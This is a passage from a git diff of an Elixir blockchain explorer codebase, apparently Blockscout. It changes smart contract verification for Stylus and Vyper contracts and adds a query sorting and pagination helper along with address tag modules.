deployment information. + + ## Parameters + - `body`: A map containing: + - `deployment_transaction`: Transaction hash where contract was deployed + - `rpc_endpoint`: RPC endpoint URL for the chain + - `cargo_stylus_version`: Version of cargo-stylus used for deployment + - `repository_url`: GitHub repository URL containing contract code + - `commit`: Git commit hash used for deployment + - `path_prefix`: Optional path prefix if contract is not in repository root + + ## Returns + - `{:ok, map}` with verification details: + - `abi`: Contract ABI (optional) + - `contract_name`: Contract name (optional) + - `package_name`: Package name + - `files`: Map of file paths to contents used in verification + - `cargo_stylus_version`: Version of cargo-stylus used + - `github_repository_metadata`: Repository metadata (optional) + - `{:error, any}` if verification fails + """ + @spec verify_github_repository(map()) :: {:ok, map()} | {:error, any()} + def verify_github_repository( + %{ + "deployment_transaction" => _, + "rpc_endpoint" => _, + "cargo_stylus_version" => _, + "repository_url" => _, + "commit" => _, + "path_prefix" => _ + } = body + ) do + http_post_request(github_repository_verification_url(), body) + end + + @spec http_post_request(String.t(), map()) :: {:ok, map()} | {:error, any()} + defp http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do + {:ok, %{body: body, status_code: _}} -> + process_verifier_response(body) + + {:error, error} -> + Logger.error(fn -> + [ + "Error while sending request to verification microservice url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + {:error, @request_error_msg} + end + end + + @spec http_get_request(String.t()) :: {:ok, [String.t()]} | {:error, any()} + defp http_get_request(url) do + case HttpClient.get(url) do + {:ok, %{body: body, status_code: 200}} -> + process_verifier_response(body) + + {:ok, %{body: body, status_code: _}} -> + {:error, body} + + {:error, error} -> + Logger.error(fn -> + [ + "Error while sending request to verification microservice url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + {:error, @request_error_msg} + end + end + + @doc """ + Retrieves a list of supported versions of Cargo Stylus package from the verification microservice. + + ## Returns + - `{:ok, [String.t()]}` - List of versions on success + - `{:error, any()}` - Error message if the request fails + """ + @spec get_versions_list() :: {:ok, [String.t()]} | {:error, any()} + def get_versions_list do + http_get_request(versions_list_url()) + end + + @spec process_verifier_response(binary()) :: {:ok, map() | [String.t()]} | {:error, any()} + defp process_verifier_response(body) when is_binary(body) do + case Jason.decode(body) do + {:ok, decoded} -> + process_verifier_response(decoded) + + _ -> + {:error, body} + end + end + + # Handles response from `stylus-sdk-rs/verify-github-repository` of stylus verifier microservice + @spec process_verifier_response(map()) :: {:ok, map()} + defp process_verifier_response(%{"verification_success" => source}) do + {:ok, source} + end + + # Handles response from `stylus-sdk-rs/verify-github-repository` of stylus verifier microservice + @spec process_verifier_response(map()) :: {:ok, map()} + defp process_verifier_response(%{"verificationSuccess" => source}) do + {:ok, source} + end + + # Handles response from `stylus-sdk-rs/verify-github-repository` of stylus verifier microservice + @spec process_verifier_response(map()) :: {:error, String.t()} + defp process_verifier_response(%{"verification_failure" => %{"message" => error_message}}) do + {:error, error_message} + end + + # Handles response from `stylus-sdk-rs/verify-github-repository` of stylus verifier microservice + @spec process_verifier_response(map()) :: {:error, String.t()} + defp process_verifier_response(%{"verificationFailure" => %{"message" => error_message}}) do + {:error, error_message} + end + + # Handles response from `stylus-sdk-rs/cargo-stylus-versions` of stylus verifier microservice + @spec process_verifier_response(map()) :: {:ok, [String.t()]} + defp process_verifier_response(%{"versions" => versions}), do: {:ok, Enum.map(versions, &Map.fetch!(&1, "version"))} + + @spec process_verifier_response(any()) :: {:error, any()} + defp process_verifier_response(other) do + {:error, other} + end + + # Uses url encoded ("%3A") version of ':', as ':' symbol breaks `Bypass` library during tests. + # https://github.com/PSPDFKit-labs/bypass/issues/122 + + defp github_repository_verification_url, + do: base_api_url() <> "%3Averify-github-repository" + + defp versions_list_url, do: base_api_url() <> "/cargo-stylus-versions" + + defp base_api_url, do: "#{base_url()}" <> "/api/v1/stylus-sdk-rs" + + defp base_url, do: Application.get_env(:explorer, __MODULE__)[:service_url] + + def enabled?, + do: !is_nil(base_url()) && Application.get_env(:explorer, :chain_type) == :arbitrum +end diff --git a/apps/explorer/lib/explorer/smart_contract/vyper/code_compiler.ex b/apps/explorer/lib/explorer/smart_contract/vyper/code_compiler.ex index ae932cd52dc7..52e8248c612d 100644 --- a/apps/explorer/lib/explorer/smart_contract/vyper/code_compiler.ex +++ b/apps/explorer/lib/explorer/smart_contract/vyper/code_compiler.ex @@ -5,8 +5,6 @@ defmodule Explorer.SmartContract.Vyper.CodeCompiler do alias Explorer.SmartContract.VyperDownloader - require Logger - @spec run(Keyword.t()) :: {:ok, map} | {:error, :compilation | :name} def run(params) do compiler_version = Keyword.fetch!(params, :compiler_version) diff --git a/apps/explorer/lib/explorer/smart_contract/vyper/publisher.ex b/apps/explorer/lib/explorer/smart_contract/vyper/publisher.ex index 258f0ea888b4..c3b90ca94892 100644 --- a/apps/explorer/lib/explorer/smart_contract/vyper/publisher.ex +++ b/apps/explorer/lib/explorer/smart_contract/vyper/publisher.ex @@ -3,28 +3,148 @@ defmodule Explorer.SmartContract.Vyper.Publisher do Module responsible to control Vyper contract verification. """ - alias Explorer.Chain + import Explorer.SmartContract.Helper, only: [cast_libraries: 1, prepare_license_type: 1] + + require Logger + alias Explorer.Chain.SmartContract alias Explorer.SmartContract.CompilerVersion alias Explorer.SmartContract.Vyper.Verifier def publish(address_hash, params) do case Verifier.evaluate_authenticity(address_hash, params) do + { + :ok, + %{ + "abi" => _abi_string, + "compilerVersion" => _compiler_version, + "constructorArguments" => _constructor_arguments, + "contractName" => _contract_name, + "fileName" => _file_name, + "sourceFiles" => _sources, + "compilerSettings" => _compiler_settings_string + } = source + } -> + process_rust_verifier_response(source, address_hash, params, false, false) + {:ok, %{abi: abi}} -> - publish_smart_contract(address_hash, params, abi) + publish_smart_contract(address_hash, params, abi, false) {:error, error} -> {:error, unverified_smart_contract(address_hash, params, error, nil)} + + _ -> + {:error, unverified_smart_contract(address_hash, params, "Unexpected error", nil)} end end - def publish_smart_contract(address_hash, params, abi) do + def publish(address_hash, params, files) do + publish_inner(:evaluate_authenticity, [address_hash, params, files], address_hash, params, false) + end + + def publish_standard_json(%{"address_hash" => address_hash} = params) do + publish_inner(:evaluate_authenticity_standard_json, [params], address_hash, params, true) + end + + defp publish_inner(fun, args, address_hash, params, standard_json?) do + case apply(Verifier, fun, args) do + { + :ok, + %{ + "abi" => _abi_string, + "compilerVersion" => _compiler_version, + "constructorArguments" => _constructor_arguments, + "contractName" => _contract_name, + "fileName" => _file_name, + "sourceFiles" => _sources, + "compilerSettings" => _compiler_settings_string + } = source + } -> + process_rust_verifier_response(source, address_hash, params, true, standard_json?) + + {:ok, %{abi: abi}} -> + publish_smart_contract(address_hash, params, abi, true) + + {:error, error} -> + {:error, unverified_smart_contract(address_hash, params, error, nil, true)} + + _ -> + {:error, unverified_smart_contract(address_hash, params, "Unexpected error", nil, true)} + end + end + + def process_rust_verifier_response( + %{ + "abi" => abi_string, + "compilerVersion" => compiler_version, + "constructorArguments" => constructor_arguments, + "contractName" => contract_name, + "fileName" => file_name, + "sourceFiles" => sources, + "compilerSettings" => compiler_settings_string, + "matchType" => match_type + } = source, + address_hash, + initial_params, + save_file_path?, + standard_json?, + automatically_verified? \\ false + ) do + secondary_sources = + for {file, source} <- sources, + file != file_name, + do: %{"file_name" => file, "contract_source_code" => source, "address_hash" => address_hash} + + %{^file_name => contract_source_code} = sources + + compiler_settings = Jason.decode!(compiler_settings_string) + + prepared_params = + %{} + |> Map.put("compiler_version", compiler_version) + |> Map.put("constructor_arguments", constructor_arguments) + |> Map.put("contract_source_code", contract_source_code) + |> Map.put("external_libraries", cast_libraries(compiler_settings["libraries"] || %{})) + |> Map.put("name", contract_name) + |> Map.put("file_path", if(save_file_path?, do: file_name)) + |> Map.put("secondary_sources", secondary_sources) + |> Map.put("evm_version", compiler_settings["evmVersion"]) + |> Map.put("partially_verified", match_type == "PARTIAL") + |> Map.put("verified_via_eth_bytecode_db", automatically_verified?) + |> Map.put("verified_via_verifier_alliance", source["verifier_alliance?"]) + |> Map.put( + "optimization", + if(is_nil(compiler_settings["optimize"]), do: true, else: compiler_settings["optimize"]) + ) + |> Map.put("compiler_settings", if(standard_json?, do: compiler_settings)) + |> Map.put("license_type", initial_params["license_type"]) + |> Map.put("is_blueprint", source["isBlueprint"]) + + publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string), save_file_path?) + end + + def publish_smart_contract(address_hash, params, abi, verification_with_files?) do attrs = address_hash |> attributes(params, abi) - Chain.create_smart_contract(attrs, attrs.external_libraries, attrs.secondary_sources) + ok_or_error = + SmartContract.create_or_update_smart_contract( + address_hash, + attrs, + verification_with_files? + ) + + case ok_or_error do + {:ok, _smart_contract} -> + Logger.info("Vyper smart-contract #{address_hash} successfully published") + + {:error, error} -> + Logger.error("Vyper smart-contract #{address_hash} failed to publish: #{inspect(error)}") + end + + ok_or_error end - defp unverified_smart_contract(address_hash, params, error, error_message) do + defp unverified_smart_contract(address_hash, params, error, error_message, verification_with_files? \\ false) do attrs = attributes(address_hash, params) changeset = @@ -32,39 +152,61 @@ defmodule Explorer.SmartContract.Vyper.Publisher do %SmartContract{address_hash: address_hash}, attrs, error, - error_message + error_message, + verification_with_files? ) + Logger.error("Vyper smart-contract verification #{address_hash} failed because of the error #{error}") + %{changeset | action: :insert} end defp attributes(address_hash, params, abi \\ %{}) do constructor_arguments = params["constructor_arguments"] + compiler_settings = params["compiler_settings"] - clean_constructor_arguments = - if constructor_arguments != nil && constructor_arguments != "" do - constructor_arguments - else + clean_constructor_arguments = clear_constructor_arguments(constructor_arguments) + + clean_compiler_settings = + if compiler_settings in ["", nil, %{}] do nil + else + compiler_settings end compiler_version = CompilerVersion.get_strict_compiler_version(:vyper, params["compiler_version"]) + optimization = if is_nil(params["optimization"]), do: true, else: params["optimization"] + %{ address_hash: address_hash, - name: "Vyper_contract", + name: params["name"], compiler_version: compiler_version, - evm_version: nil, + evm_version: params["evm_version"], optimization_runs: nil, - optimization: false, + optimization: optimization, contract_source_code: params["contract_source_code"], constructor_arguments: clean_constructor_arguments, external_libraries: [], - secondary_sources: [], + secondary_sources: params["secondary_sources"], abi: abi, verified_via_sourcify: false, - partially_verified: false, - is_vyper_contract: true + verified_via_eth_bytecode_db: params["verified_via_eth_bytecode_db"] || false, + verified_via_verifier_alliance: params["verified_via_verifier_alliance"] || false, + partially_verified: params["partially_verified"] || false, + file_path: params["file_path"], + compiler_settings: clean_compiler_settings, + license_type: prepare_license_type(params["license_type"]) || :none, + is_blueprint: params["is_blueprint"] || false, + language: :vyper } end + + defp clear_constructor_arguments(constructor_arguments) do + if constructor_arguments != nil && constructor_arguments != "" do + constructor_arguments + else + nil + end + end end diff --git a/apps/explorer/lib/explorer/smart_contract/vyper/publisher_worker.ex b/apps/explorer/lib/explorer/smart_contract/vyper/publisher_worker.ex index 65053596cf2d..a060197d2ffd 100644 --- a/apps/explorer/lib/explorer/smart_contract/vyper/publisher_worker.ex +++ b/apps/explorer/lib/explorer/smart_contract/vyper/publisher_worker.ex @@ -3,14 +3,32 @@ defmodule Explorer.SmartContract.Vyper.PublisherWorker do Background smart contract verification worker. """ + require Logger + use Que.Worker, concurrency: 5 alias Explorer.Chain.Events.Publisher, as: EventsPublisher alias Explorer.SmartContract.Vyper.Publisher - def perform({address_hash, params, conn}) do + def perform({"vyper_standard_json", params}) do + broadcast(params["address_hash"], [params], :publish_standard_json) + end + + def perform({"vyper_multipart", params, files}) do + broadcast(params["address_hash"], [params["address_hash"], params, files], :publish) + end + + def perform({"vyper_flattened", params}) do + broadcast(params["address_hash"], [params["address_hash"], params], :publish) + end + + def perform({address_hash, params, %Plug.Conn{} = conn}) do + broadcast(address_hash, [address_hash, params], :publish, conn) + end + + defp broadcast(address_hash, args, function, conn \\ nil) do result = - case Publisher.publish(address_hash, params) do + case apply(Publisher, function, args) do {:ok, _contract} = result -> result @@ -18,6 +36,15 @@ defmodule Explorer.SmartContract.Vyper.PublisherWorker do {:error, changeset} end - EventsPublisher.broadcast([{:contract_verification_result, {address_hash, result, conn}}], :on_demand) + Logger.info("Smart-contract #{address_hash} verification: broadcast verification results") + + if conn do + EventsPublisher.broadcast( + [{:contract_verification_result, {String.downcase(address_hash), result, conn}}], + :on_demand + ) + else + EventsPublisher.broadcast([{:contract_verification_result, {String.downcase(address_hash), result}}], :on_demand) + end end end diff --git a/apps/explorer/lib/explorer/smart_contract/vyper/verifier.ex b/apps/explorer/lib/explorer/smart_contract/vyper/verifier.ex index 1595223a0f6f..049c9f544524 100644 --- a/apps/explorer/lib/explorer/smart_contract/vyper/verifier.ex +++ b/apps/explorer/lib/explorer/smart_contract/vyper/verifier.ex @@ -7,16 +7,75 @@ defmodule Explorer.SmartContract.Vyper.Verifier do against the existing Creation Address Bytecode, if it matches the contract is then Verified. """ + require Logger - alias Explorer.Chain alias Explorer.SmartContract.Vyper.CodeCompiler + alias Explorer.SmartContract.RustVerifierInterface - def evaluate_authenticity(_, %{"name" => ""}), do: {:error, :name} + import Explorer.SmartContract.Helper, + only: [fetch_data_for_verification: 1, prepare_bytecode_for_microservice: 3, contract_creation_input: 1] def evaluate_authenticity(_, %{"contract_source_code" => ""}), do: {:error, :contract_source_code} def evaluate_authenticity(address_hash, params) do + try do + evaluate_authenticity_inner(RustVerifierInterface.enabled?(), address_hash, params) + rescue + exception -> + Logger.error(fn -> + [ + "Error while verifying smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}: ", + Exception.format(:error, exception, __STACKTRACE__) + ] + end) + end + end + + def evaluate_authenticity(address_hash, params, files) do + try do + if RustVerifierInterface.enabled?() do + vyper_verify_multipart(params, params["evm_version"], files, address_hash) + end + rescue + exception -> + Logger.error(fn -> + [ + "Error while verifying multi-part vyper smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}: ", + Exception.format(:error, exception) + ] + end) + end + end + + def evaluate_authenticity_standard_json(%{"address_hash" => address_hash} = params) do + try do + if RustVerifierInterface.enabled?() do + vyper_verify_standard_json(params, address_hash) + end + rescue + exception -> + Logger.error(fn -> + [ + "Error while verifying standard-json vyper smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}: ", + Exception.format(:error, exception) + ] + end) + end + end + + defp evaluate_authenticity_inner(true, address_hash, params) do + vyper_verify_multipart( + params, + params["evm_version"], + %{ + "#{params["name"]}.vy" => params["contract_source_code"] + }, + address_hash + ) + end + + defp evaluate_authenticity_inner(false, address_hash, params) do verify(address_hash, params) end @@ -40,20 +99,14 @@ defmodule Explorer.SmartContract.Vyper.Verifier do defp compare_bytecodes({:error, _}, _, _), do: {:error, :compilation} - # credo:disable-for-next-line /Complexity/ defp compare_bytecodes( {:ok, %{"abi" => abi, "bytecode" => bytecode}}, address_hash, arguments_data ) do blockchain_bytecode = - case Chain.smart_contract_creation_tx_bytecode(address_hash) do - %{init: init, created_contract_code: _created_contract_code} -> - init - - _ -> - nil - end + address_hash + |> contract_creation_input() |> String.trim() if String.trim(bytecode <> arguments_data) == blockchain_bytecode do @@ -62,4 +115,26 @@ defmodule Explorer.SmartContract.Vyper.Verifier do {:error, :generated_bytecode} end end + + defp vyper_verify_multipart(params, evm_version, files, address_hash) do + {creation_transaction_input, deployed_bytecode, verifier_metadata} = fetch_data_for_verification(address_hash) + + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, deployed_bytecode) + |> Map.put("evmVersion", evm_version) + |> Map.put("sourceFiles", files) + |> Map.put("compilerVersion", params["compiler_version"]) + |> Map.put("interfaces", params["interfaces"] || %{}) + |> RustVerifierInterface.vyper_verify_multipart(verifier_metadata) + end + + defp vyper_verify_standard_json(params, address_hash) do + {creation_transaction_input, deployed_bytecode, verifier_metadata} = fetch_data_for_verification(address_hash) + + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, deployed_bytecode) + |> Map.put("compilerVersion", params["compiler_version"]) + |> Map.put("input", params["input"]) + |> RustVerifierInterface.vyper_verify_standard_json(verifier_metadata) + end end diff --git a/apps/explorer/lib/explorer/smart_contract/vyper_downloader.ex b/apps/explorer/lib/explorer/smart_contract/vyper_downloader.ex index dfb873276c7a..2f6ca24e0a07 100644 --- a/apps/explorer/lib/explorer/smart_contract/vyper_downloader.ex +++ b/apps/explorer/lib/explorer/smart_contract/vyper_downloader.ex @@ -5,6 +5,7 @@ defmodule Explorer.SmartContract.VyperDownloader do """ use GenServer + alias Explorer.HttpClient alias Explorer.SmartContract.CompilerVersion @latest_compiler_refetch_time :timer.minutes(30) @@ -97,7 +98,7 @@ defmodule Explorer.SmartContract.VyperDownloader do releases_body = releases_path - |> HTTPoison.get!([], timeout: 60_000, recv_timeout: 60_000) + |> HttpClient.get!([], timeout: 60_000, recv_timeout: 60_000) |> Map.get(:body) |> Jason.decode!() @@ -121,7 +122,11 @@ defmodule Explorer.SmartContract.VyperDownloader do end) download_path - |> HTTPoison.get!([], timeout: 60_000, recv_timeout: 60_000, follow_redirect: true, hackney: [force_redirect: true]) + |> HttpClient.get!([], + timeout: 60_000, + recv_timeout: 60_000, + follow_redirect: true + ) |> Map.get(:body) end end diff --git a/apps/explorer/lib/explorer/smart_contract/writer.ex b/apps/explorer/lib/explorer/smart_contract/writer.ex index ba231a655128..0b0dc52a7e2a 100644 --- a/apps/explorer/lib/explorer/smart_contract/writer.ex +++ b/apps/explorer/lib/explorer/smart_contract/writer.ex @@ -3,17 +3,11 @@ defmodule Explorer.SmartContract.Writer do Generates smart-contract transactions """ - alias Explorer.Chain - alias Explorer.Chain.Hash + alias Explorer.Chain.{Hash, SmartContract} alias Explorer.SmartContract.Helper - @spec write_functions(Hash.t()) :: [%{}] - def write_functions(contract_address_hash) do - abi = - contract_address_hash - |> Chain.address_hash_to_smart_contract() - |> Map.get(:abi) - + @spec write_functions(SmartContract.t()) :: [%{}] + def write_functions(%SmartContract{abi: abi}) do case abi do nil -> [] @@ -25,8 +19,8 @@ defmodule Explorer.SmartContract.Writer do end @spec write_functions_proxy(Hash.t() | String.t()) :: [%{}] - def write_functions_proxy(implementation_address_hash_string) do - implementation_abi = Chain.get_implementation_abi(implementation_address_hash_string) + def write_functions_proxy(implementation_address_hash_string, options \\ []) do + implementation_abi = SmartContract.get_abi(implementation_address_hash_string, options) case implementation_abi do nil -> @@ -43,8 +37,10 @@ defmodule Explorer.SmartContract.Writer do (Helper.payable?(function) || Helper.nonpayable?(function)) end - defp filter_write_functions(abi) do + def filter_write_functions(abi) when is_list(abi) do abi |> Enum.filter(&write_function?(&1)) end + + def filter_write_functions(_), do: [] end diff --git a/apps/explorer/lib/explorer/sorting_helper.ex b/apps/explorer/lib/explorer/sorting_helper.ex new file mode 100644 index 000000000000..637c78bb1934 --- /dev/null +++ b/apps/explorer/lib/explorer/sorting_helper.ex @@ -0,0 +1,166 @@ +defmodule Explorer.SortingHelper do + @moduledoc """ + Module that order and paginate queries dynamically based on default and provided sorting parameters. + Example of sorting parameters: + ``` + [{:asc, :fetched_coin_balance, :address}, {:dynamic, :contract_code_size, :desc, dynamic([t], fragment(LENGTH(?), t.contract_source_code))}, desc: :id] + ``` + First list entry specify joined address table column as a column to order by and paginate, second entry + specifies name of a key in paging_options and arbitrary dynamic that will be used in ordering and pagination, + third entry specifies own column name to order by and paginate. + """ + alias Explorer.PagingOptions + + import Ecto.Query + + @typep ordering :: :asc | :asc_nulls_first | :asc_nulls_last | :desc | :desc_nulls_first | :desc_nulls_last + @typep column :: atom + @typep binding :: atom + @type sorting_params :: [ + {ordering, column} | {ordering, column, binding} | {:dynamic, column, ordering, Ecto.Query.dynamic_expr()} + ] + + @doc """ + Applies sorting to query based on default sorting params and sorting params from the client, + these params merged keeping provided one over default one. + """ + @spec apply_sorting(Ecto.Query.t() | module(), sorting_params, sorting_params) :: Ecto.Query.t() + def apply_sorting(query, sorting, default_sorting) when is_list(sorting) and is_list(default_sorting) do + sorting |> merge_sorting_params_with_defaults(default_sorting) |> sorting_params_to_order_by(query) + end + + defp merge_sorting_params_with_defaults([], default_sorting) when is_list(default_sorting), do: default_sorting + + defp merge_sorting_params_with_defaults(sorting, default_sorting) + when is_list(sorting) and is_list(default_sorting) do + (sorting ++ default_sorting) + |> Enum.uniq_by(fn + {_, field} -> field + {_, field, as} -> {field, as} + {:dynamic, key_name, _, _} -> key_name + end) + end + + defp sorting_params_to_order_by(sorting_params, query) do + sorting_params + |> Enum.reduce(query, fn + {:dynamic, _key_name, order, dynamic}, query -> query |> order_by(^[{order, dynamic}]) + {order, column, binding}, query -> query |> order_by([{^order, field(as(^binding), ^column)}]) + {order, column}, query -> query |> order_by(^[{order, column}]) + end) + end + + @doc """ + Page the query based on paging options, default sorting params and sorting params from the client, + these params merged keeping provided one over default one. + """ + @spec page_with_sorting(Ecto.Query.t(), PagingOptions.t(), sorting_params, sorting_params) :: Ecto.Query.t() + def page_with_sorting(query, %PagingOptions{key: key, page_size: page_size}, sorting, default_sorting) + when not is_nil(key) do + sorting + |> merge_sorting_params_with_defaults(default_sorting) + |> do_page_with_sorting() + |> case do + nil -> query + dynamic_where -> query |> where(^dynamic_where.(key)) + end + |> limit_query(page_size) + end + + def page_with_sorting(query, %PagingOptions{page_size: page_size}, _sorting, _default_sorting) do + query |> limit_query(page_size) + end + + def page_with_sorting(query, _, _sorting, _default_sorting), do: query + + defp limit_query(query, limit) when is_integer(limit), do: query |> limit(^limit) + defp limit_query(query, _), do: query + + defp do_page_with_sorting([{order, column} | rest]) do + fn key -> page_by_column(key, column, order, do_page_with_sorting(rest)) end + end + + defp do_page_with_sorting([{:dynamic, key_name, order, dynamic} | rest]) do + fn key -> page_by_column(key, {:dynamic, key_name, dynamic}, order, do_page_with_sorting(rest)) end + end + + defp do_page_with_sorting([{order, column, binding} | rest]) do + fn key -> page_by_column(key, {column, binding}, order, do_page_with_sorting(rest)) end + end + + defp do_page_with_sorting([]), do: nil + + for {key_name, pattern, ecto_value} <- [ + {quote(do: key_name), quote(do: {:dynamic, key_name, dynamic}), quote(do: ^dynamic)}, + {quote(do: column), quote(do: {column, binding}), quote(do: field(as(^binding), ^column))}, + {quote(do: column), quote(do: column), quote(do: field(t, ^column))} + ] do + defp page_by_column(key, unquote(pattern), :desc_nulls_last, next_column) do + case key[unquote(key_name)] do + nil -> + dynamic([t], is_nil(unquote(ecto_value)) and ^apply_next_column(next_column, key)) + + value -> + dynamic( + [t], + is_nil(unquote(ecto_value)) or unquote(ecto_value) < ^value or + (unquote(ecto_value) == ^value and ^apply_next_column(next_column, key)) + ) + end + end + + defp page_by_column(key, unquote(pattern), :asc_nulls_first, next_column) do + case key[unquote(key_name)] do + nil -> + dynamic([t], not is_nil(unquote(ecto_value)) or ^apply_next_column(next_column, key)) + + value -> + dynamic( + [t], + not is_nil(unquote(ecto_value)) and + (unquote(ecto_value) > ^value or + (unquote(ecto_value) == ^value and ^apply_next_column(next_column, key))) + ) + end + end + + defp page_by_column(key, unquote(pattern), order, next_column) when order in ~w(asc asc_nulls_last)a do + case key[unquote(key_name)] do + nil -> + dynamic([t], is_nil(unquote(ecto_value)) and ^apply_next_column(next_column, key)) + + value -> + dynamic( + [t], + is_nil(unquote(ecto_value)) or + (unquote(ecto_value) > ^value or + (unquote(ecto_value) == ^value and ^apply_next_column(next_column, key))) + ) + end + end + + defp page_by_column(key, unquote(pattern), order, next_column) + when order in ~w(desc desc_nulls_first)a do + case key[unquote(key_name)] do + nil -> + dynamic([t], not is_nil(unquote(ecto_value)) or ^apply_next_column(next_column, key)) + + value -> + dynamic( + [t], + not is_nil(unquote(ecto_value)) and + (unquote(ecto_value) < ^value or + (unquote(ecto_value) == ^value and ^apply_next_column(next_column, key))) + ) + end + end + end + + defp apply_next_column(nil, _key) do + false + end + + defp apply_next_column(next_column, key) do + next_column.(key) + end +end diff --git a/apps/explorer/lib/explorer/tags/address_tag.ex b/apps/explorer/lib/explorer/tags/address_tag.ex new file mode 100644 index 000000000000..d6c20c2d2694 --- /dev/null +++ b/apps/explorer/lib/explorer/tags/address_tag.ex @@ -0,0 +1,99 @@ +defmodule Explorer.Tags.AddressTag do + @moduledoc """ + Represents an address Tag object. + """ + + use Explorer.Schema + + import Ecto.Changeset + + import Ecto.Query, + only: [ + from: 2, + select: 3 + ] + + alias Explorer.Repo + alias Explorer.Tags.AddressToTag + + @typedoc """ + * `:id` - id of Tag + * `:label` - Tag's label + * `:display_name` - Label's display name + """ + typed_schema "address_tags" do + field(:label, :string, primary_key: true, null: false) + field(:display_name, :string, null: false) + has_many(:tag_id, AddressToTag, foreign_key: :id) + + timestamps() + end + + @required_attrs ~w(label display_name)a + + @doc false + def changeset(struct, params \\ %{}) do + struct + |> cast(params, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:label, name: :address_tags_label_index) + end + + @spec set(String.t() | nil, String.t() | nil) :: {:ok, Ecto.Schema.t()} | {:error, Ecto.Changeset.t()} | :invalid + def set(name, display_name) + + def set(nil, _), do: :invalid + + def set(_, nil), do: :invalid + + def set(name, display_name) do + tag = get_by_label(name) + + if tag do + tag + |> __MODULE__.changeset(%{display_name: display_name}) + |> Repo.update() + else + %__MODULE__{} + |> __MODULE__.changeset(%{label: name, display_name: display_name}) + |> Repo.insert() + end + end + + @doc """ + Fetches AddressTag.t() by label name from the DB + """ + @spec get_id_by_label(String.t()) :: non_neg_integer() + def get_id_by_label(nil), do: nil + + def get_id_by_label(label) do + label + |> get_by_label_query() + |> select([tag], tag.id) + |> Repo.one() + end + + @doc """ + Fetches all AddressTag.t() from the DB + """ + @spec get_all() :: __MODULE__.t() + def get_all do + __MODULE__ + |> Repo.all() + end + + defp get_by_label(nil), do: nil + + defp get_by_label(label) do + label + |> get_by_label_query() + |> Repo.one() + end + + defp get_by_label_query(label) do + from( + tag in __MODULE__, + where: tag.label == ^label + ) + end +end diff --git a/apps/explorer/lib/explorer/tags/address_tag_cataloger.ex b/apps/explorer/lib/explorer/tags/address_tag_cataloger.ex new file mode 100644 index 000000000000..5295a29d30f6 --- /dev/null +++ b/apps/explorer/lib/explorer/tags/address_tag_cataloger.ex @@ -0,0 +1,161 @@ +defmodule Explorer.Tags.AddressTag.Cataloger do + @moduledoc """ + Actualizes address tags. + """ + + use GenServer, restart: :transient + + alias Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand + alias Explorer.EnvVarTranslator + alias Explorer.Tags.{AddressTag, AddressToTag} + alias Explorer.Validator.MetadataRetriever + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl GenServer + def init(args) do + send(self(), :fetch_tags) + + {:ok, args} + end + + @impl GenServer + def handle_info(:fetch_tags, state) do + create_new_tags() + + send(self(), :bind_addresses) + + {:noreply, state} + end + + def handle_info(:bind_addresses, state) do + # set validator tag + set_validator_tag() + + # set amb bridge mediators tag + set_amb_mediators_tag() + + # set omni bridge tag + set_omni_tag() + + # set L2 tag + set_l2_tag() + + all_tags = AddressTag.get_all() + + all_tags + |> Enum.each(fn %{label: tag_name} -> + if tag_name !== "validator" && tag_name !== "amb bridge mediators" && tag_name !== "omni bridge" && + tag_name !== "l2" && !String.contains?(tag_name, "chainlink") do + env_var_name = "CUSTOM_CONTRACT_ADDRESSES_#{tag_name_to_env_var_part(tag_name)}" + set_tag_for_env_var_multiple_addresses(env_var_name, tag_name) + end + end) + + {:stop, :normal, state} + end + + defp tag_name_to_env_var_part(tag_name) do + tag_name + |> String.upcase() + |> String.replace(" ", "_") + |> String.replace(".", "_") + end + + defp set_tag_for_multiple_env_var_addresses(env_vars, tag) do + addresses = + env_vars + |> Enum.map(fn env_var -> + env_var + |> System.get_env("") + |> String.downcase() + end) + + tag_id = AddressTag.get_id_by_label(tag) + AddressToTag.set_tag_to_addresses(tag_id, addresses) + end + + defp set_tag_for_multiple_env_var_array_addresses(env_vars, tag) do + addresses = + env_vars + |> Enum.reduce([], fn env_var, acc -> + env_var + |> System.get_env("") + |> String.split(",") + |> Enum.reduce(acc, fn env_var, acc_inner -> + addr = + env_var + |> String.downcase() + + [addr | acc_inner] + end) + end) + + tag_id = AddressTag.get_id_by_label(tag) + AddressToTag.set_tag_to_addresses(tag_id, addresses) + end + + defp create_new_tags do + tags = EnvVarTranslator.map_array_env_var_to_list(:new_tags) + + tags + |> Enum.each(fn %{tag: tag_name, title: tag_display_name} -> + AddressTag.set(tag_name, tag_display_name) + end) + end + + defp set_tag_for_env_var_multiple_addresses(env_var, tag) do + addresses = env_var_string_array_to_list(env_var) + + tag_id = AddressTag.get_id_by_label(tag) + AddressToTag.set_tag_to_addresses(tag_id, addresses) + end + + defp env_var_string_array_to_list(env_var_array_string) do + env_var = + env_var_array_string + |> System.get_env(nil) + + if env_var do + env_var + |> String.split(",") + |> Enum.map(fn env_var_array_string_item -> + env_var_array_string_item + |> String.downcase() + end) + else + [] + end + end + + defp set_validator_tag do + validators = MetadataRetriever.fetch_validators_list() + FetchValidatorInfoOnDemand.trigger_fetch(validators) + tag_id = AddressTag.get_id_by_label("validator") + AddressToTag.set_tag_to_addresses(tag_id, validators) + end + + defp set_amb_mediators_tag do + set_tag_for_multiple_env_var_array_addresses( + ["AMB_BRIDGE_MEDIATORS", "CUSTOM_CONTRACT_ADDRESSES_AMB_BRIDGE_MEDIATORS"], + "amb bridge mediators" + ) + end + + defp set_omni_tag do + set_tag_for_multiple_env_var_addresses( + [ + "BRIDGED_TOKENS_ETH_OMNI_BRIDGE_MEDIATOR", + "BRIDGED_TOKENS_BSC_OMNI_BRIDGE_MEDIATOR", + 